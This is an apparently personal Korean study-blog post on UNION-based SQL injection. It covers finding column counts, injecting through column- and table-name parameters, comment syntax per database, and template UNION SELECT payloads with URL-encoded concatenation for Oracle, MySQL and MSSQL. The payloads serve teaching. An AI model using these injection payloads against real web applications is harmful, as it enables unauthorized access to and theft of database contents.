정보보안공부

SQL Injection - Union Sql Injection 본문

Web

SQL Injection - Union Sql Injection

Steady_sp 2019. 9. 20. 01:45

#Union Sql Injection

- Union 연산자가 포함된 공격 쿼리를 주입하여 DB의 데이터를 획득한다.

 

1) 열의 개수 확인

** Order by 이용

- Order by 뒤에 컬럼의 위치를 지정하는 방식 사용

 

** 데이터 타입 확인

- 데이터 유형이 무엇인지 확신할 수 없으므로 null을 하나씩 추가해 열의 개수를 확인하는 방식

- 날짜형 데이터의 경우 mysql - now() , mssql - getdate() , oracle - sysdate 또는 current_date

- 스키마 객체 데이터의 경우 컬럼명을 파라미터로 보내는 경우

ex) 서버에 쿼리가 다음과 같은 형태로 작성되있다면 query = "select * from employees where " + cname + "=" + empid; 웹 사이트에서는 ?cname=employee_id&empid=10 형태로 파라미터를 보내서 데이터가 조회된다고 해보자. 이때 cname=employee_id 대신 cname=1=1+and+employee_id&empid=10 형태로 파라미터를 보내도 똑같이 조회될 것이다. 이렇다면 and 구문뒤에 union 구문을 작성하고 마지막에 주석을 단다면 Injection이 가능해진다.

- 스키마 객체 데이터의 경우 테이블명을 파라미터로 보내는 경우

ex) 서버에 쿼리가 다음과 같은 형태로 작성되있다면 query = "select * from tname + " + where employee_id= " + empid; 웹 사이트에서는 ?tname=employees&empid=10 형태로 파라미터를 보내서 데이터가 조회된다고 해보자. 이때 tname=employees 대신 tname=employees+where+1=1-- 형태로 파라미터를 보내면 참인 조건이되어 +and+union 구문을 추가하여 Injection이 가능하다.

 

** 데이터 베이스별 주석

- mysql : #(%23), --(뒤에공백)

- mssql : --, /**/(시작 : /* 끝 : */)

- oracle : --, /**/(시작 : /* 끝 : */)

2) 데이터를 이어서 출력

- union select 쿼리앞에 쿼리의 컬럼 갯수가 파악된다면 해당 갯수만큼 컬럼을 지정할 경우 조회하려는 테이블 확인 후컬럼 또한 확인 가능하다.

 

** Oracle - ||(%7c%7c)

#> union select 컬럼1 || ',' || 컬럼2 || ',' || 컬럼3 || ',' || 컬럼4, 컬럼5, 컬럼6 from 테이블

=> Oracle에서 문자열을 이어주는 연산자는 || 이다. 웹 통신을 통해 구문을 입력한 경우 HTTP 프로토콜에서는 "||" 연산자를 사용할 수 없기 때문에 %7c%7c 형태로 사용한다. 

( 참고 : Oracle 에서는 CONCAT 함수를 이용해서 2개의 인자만 결합이 가능함, || 연산자는 2개 이상의 인자 결합에 사용 )

#> union select 컬럼1 %7c%7c ',' %7c%7c 컬럼2 %7c%7c ',' %7c%7c 컬럼3 %7c%7c ',' %7c%7c 컬럼4, 컬럼5, 컬럼6 from 테이블

 

 

** Mysql - 공백,탭,개행

#> union select concat_ws(',' ,컬럼1, 컬럼2, 컬럼3, 컬럼4), 컬럼5, 컬럼6 from 테이블

=> Mysql에서 문자열을 이어주는 용도로 CONCAT_WS가 있다. 첫번째 인자 값을 모든 칼럼의 데이터 구분자로 사용된다.

#> union select concat(컬럼1, ',' ,컬럼2, ',' ,컬럼3, ',' ,컬럼4), 컬럼5, 컬럼6 from 테이블

=> Mysql에서 문자열을 이어주는 용도로 CONCAT이 있다. 각 컬럼 사이에 구분자를 입력하여 사용된다.

 

 

** Mssql - +(%2b)

#> select concat_ws(',' ,컬럼1, 컬럼2, 컬럼3) from 테이블

=> Mysql과 마찬가지로 concat_ws 사용이 가능하다.#> select concat(컬럼1, ',' ,컬럼2, ',' ,컬럼3) from 테이블

#> union select concat(컬럼1, ',' ,컬럼2, ',' ,컬럼3, ',' ,컬럼4), 컬럼5, 컬럼6 from dual
=> Mysql과 마찬가지로 concat 사용이 가능하다.

#> select 컬럼1+','+컬럼2+','+컬럼3 from 테이블

=> Mssql에서 문자열을 이어주는 연산자는 + 이다. 웹 통신을 통해 구문을 입력한 경우 HTTP 프로토콜에서는 "+" 연산자가 공백이므로 %2b 형태로 사용한다.

#> select FirstName %2b ',' %2b lastname %2b ',' %2b address from employees

 

 

 

Comments